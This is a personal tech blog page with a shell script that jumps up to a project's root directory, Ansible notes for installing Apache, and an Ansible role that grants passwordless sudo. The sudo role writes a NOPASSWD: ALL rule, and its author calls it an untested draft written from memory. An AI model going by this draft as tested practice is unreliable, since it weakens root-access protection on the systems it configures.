/home/tero/code/revincom/doc/design/subsystems/nav/fallbacks/sun
$ cdu
/home/tero/code/revincom
Found .git

If you have really deep repos, such as monorepos, cdu can help you even more.

Deep in a Django project, cdu jumps to manage.py level first. The next cdu will take you to repo root.

A new 'cdu', change dir up

I have used a longer bash version for years. This is a rewrite to support both zsh and bash. It's also shorter. Prettier and more features, but less tested than the old one.

Save the source code to a dir where it runs (e.g. /usr/local/bin/changedirup). Make runnable (chmod ugo+rx /usr/local/bin/changedirup). Add to your .bashrc and .zshrc: 'alias cdu="source changedirup"'. Log out and back.

And now you can jump up with 'cdu'.

Source code, GPL

#!/bin/bash
# changedirup - cd up to project top dir, 'alias cdu="source changedirup"'
# To persist it, add the alias to .zshrc or .bashrc

# Single usage also works with 'source cdu' or '. cdu'
# Can be run again to go to even higher project dir. 
# cdu works with zsh and bash. Shebang #! is just for syntax highlight.
# SPDX-License-Identifier: GPL-3.0-or-later
# SPDX-FileCopyrightText: Copyright 2020-2026 Tero Karvinen https://TeroKarvinen.com

CDU_PWD_WAS="$(pwd)"
cd ..
while true; do
 for f in .git Makefile .profile .bashrc README.md requirements.txt go.mod manage.py hosts.ini .project project.godot Dockerfile Cargo.toml index.theme config.toml default.gpr DICOMDIR ansible.cfg site.yml Vagrantfile package.json pyproject.toml zowe.yaml pom.xml build.gradle Gemfile composer.json docker-compose.yml compose.yaml .cobaltstrike.beacon_keys flake.nix .zshrc .ssh .sliver .sliver-client .msf4 havoc_default.yaotl .projectile .svn .hg .fossil .jj .editorconfig _darcs .bzr Cargo.lock .bash_profile
 do
 if [ -e "$f" ]; then
 echo "Found $f"
 pwd
 break 2
 fi
 done

 if [ "$(pwd)" = "/" ]; then
 cd "$CDU_PWD_WAS"
 echo "No project files found above. Working directory unchanged."
 pwd
 break
 fi

 cd .. || break # prevent infinite loop in the rare case cd fails for permissions
done

ppp Personal Project Portfolio

Thu, 02 Jul 2026 11:52:15 +0300

Arrange your ideas into a skill tree.

Pick little wins on your way to big goals
Ship something at every step
Turn ambition into output

Open ppp in your browser. Free, no login.

Talk nerd to me

Single 50 kB HTML file with no dependencies. Use online or 100% offline. Your data stays yours: JSON export and import. Fully usable with keyboard-only - or mouse-only with keyboard just for typing names. A vibe-coded GUI editor for a directed acyclic graph with project-specific attributes: costs, deliverables, soft benefits. Public beta.

Gain a bird's-eye view with ppp. I hope you have more ideas than time to do them. Use ppp to decide which path to pick next. Once you're committed, use calendar.txt and todo.txt for day-to-day and hour-to-hour.

Try ppp

Try ppp. Free web access, no login required. Optionally save the 50 kB HTML file for 100% offline use. Looking forward to your comments.

Apache installed with Ansible - quick notes

Thu, 09 Apr 2026 16:10:04 +0300

Install Apache 2 web server automatically. Serves a web site on the front page of http://localhost. Pages can be edited as a normal user - without root or sudo.

Simplified Ansible role. An example of package-file-server pattern. Just notes, no tutorial.

Using these short notes require a working Ansible configuration - Hello Ansible.

Package-file-service pattern

Daemons, like Apache2 web server, are somewhat similar. They are configured with package-file-service pattern. Install the daemon, change configuration by editing files, start it.

package - sudo apt-get install apache2
files - sudoedit /etc/apache2/...
service - sudo systemctl restart apache2

Changes to configuration files only take effect after you kick the daemon. Thus, file in tasks/main.yml notify the handler "restart apache2".

tree of roles/apache2/

roles/apache2/ # All files related to "apache2" role
├── files/ # Master copies of files
│   └── example.com.conf
├── handlers/ # restarting services
│   └── main.yml
└── tasks/ # most ansible code
└── main.yml

tasks/main.yml

- apt:
 name: apache2
 state: present

- copy:
 dest: "/etc/apache2/sites-available/example.com.conf"
 src: "example.com.conf"
 owner: "root"
 group: "root"
 mode: "0644"
 notify: restart apache2

- file:
 src: /etc/apache2/sites-available/example.com.conf
 dest: /etc/apache2/sites-enabled/example.com.conf
 owner: root
 group: root
 state: link
 notify: restart apache2

handlers/main.yml

- name: restart apache2
 systemd:
 name: apache2
 state: restarted

files/example.com.conf

# Managed file, changes will be overwritten

<VirtualHost *:80>
 ServerName example.com
 DocumentRoot /home/tero/publicsite/

 <Directory /home/tero/publicsite/>
 require all granted
 </Directory>
</VirtualHost>

Adminstrivia

Apache httpd logo is a trademark of The Apache Software Foundation.

Passwordless Sudo with Ansible

Thu, 02 Apr 2026 16:44:50 +0300

Sudo without password, automatically. Short example role for ansible.

The role

creates a new user in "sudoless" group
adds a sudoers.d/ NOPASSWD rule for the group

Prerequisites

Applying this example file requires you to have Ansible working.

Tero's rule #1 for IaC: Manual before auto.

So it's a good idea to try creating passwordless sudo manually first.

Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.

Tree

$ tree -F
./
├── ansible.cfg
├── hosts.ini
├── roles/
│   ├── antero/
│   │   └── tasks/
│   │   └── main.yml
│   └── world/
│   └── tasks/
│   └── main.yml
└── site.yml

Role - antero

cat roles/antero/tasks/main.yml

- group:
 name: "sudoless"
 state: present
- user:
 name: "antero"
 state: present
 groups: ["sudoless", "sudo", "adm"]
- authorized_key:
 user: "antero"
 key: "ssh-ed25519 U2VlIHlvdSBhdCBUZXJvS2FydmluZW4uY29tIQ== tero@example.com"
- copy:
 dest: "/etc/sudoers.d/sudoless"
 content: "%sudoless ALL = (ALL) NOPASSWD: ALL\n"
 owner: "root"
 group: "root"
 mode: "0644"

First run - chicken or egg?

For the first run, you don't yet have sudo without password.

Let's make ansible try for sudo rights. Add "become: true" in the correct block in site.yml:

- hosts: all
 become: true
 roles:
 - world
 - antero

$ ansible-playbook site.yml

Now it should complain that sudo needs password. Ansible asks this with -K aka --ask-become-password.

$ ansible-playbook site.yml --ask-become-password

Tips

When you got it to work manually, you have your example. Copy it to automation!

Copy paste paths.
Copy files or file contents.
Use 'stat' to check for modes (permissions). Do not guess octal permissions, you have to understand them to avoid privesc worries.

Some IaC programs only reliably understand octal modes (numbers), and only as strings. I would also recommend explicit leading zero meaning no special permissions (no setgid...). So "0644", in quotes. Maybe it has improved over the years? Who knows.

OpenOffice

tBar for LibreOffice Impress

README.md

Start using it

Verify the code

What's inside

1. Check that the .oxt contains nothing but these files

2. Read what the code is able to do

3. Static checks (no LibreOffice needed)

4. Live test in a real LibreOffice

5. Licensing

Security implications

How it works (briefly)

Changes compared with the two earlier extensions

Making a release

Copyright and license

Big screenshot

Download

0x54ask - Todo.txt manager for Android. Offline, works with syncthing.

Install on F-Droid

Download

What is 0x54ask?

Todo.txt manager - context and tags

0x54ask passive perks

Background

Download

Adminstrivia

Sovellusten hakkerointi

Schedule

Prerequisites

Review Package

Programming Basics

Linux Basics

Installing Linux on a Virtual Machine

Previous Implementations

Homework

Homework Tasks

Tunkeutumistestaus

Oppimistavoitteet

Aikataulu

Kertausmateriaalia

Luettavaa ja linkkejä

Vanhoja toteutuksia

Läksyt

h1 Kybertappoketju

h2 DORA the Explora

h3 EternalHomework

h4 Täysin Laillinen Sertifikaatti

h5 Elokuu2026!

h6 Fuzzy Feeling Upon Finding

hx Koita simpukoita

Lippuvalmistelu

h8 Bonus

Card Size Gallery

Kokoro TTS - Voice Comparison

Listen and Compare Voices in Your Browser

Run Kokoro with Podman

See also

cdu - Jump up to project directory

Usage example

A new 'cdu', change dir up

Source code, GPL

ppp Personal Project Portfolio

Talk nerd to me

Try ppp

Apache installed with Ansible - quick notes

Package-file-service pattern

tree of roles/apache2/

tasks/main.yml

handlers/main.yml

files/example.com.conf

Adminstrivia

Passwordless Sudo with Ansible

Prerequisites

Tree

Role - antero

First run - chicken or egg?

Tips

1. Check that the `.oxt` contains nothing but these files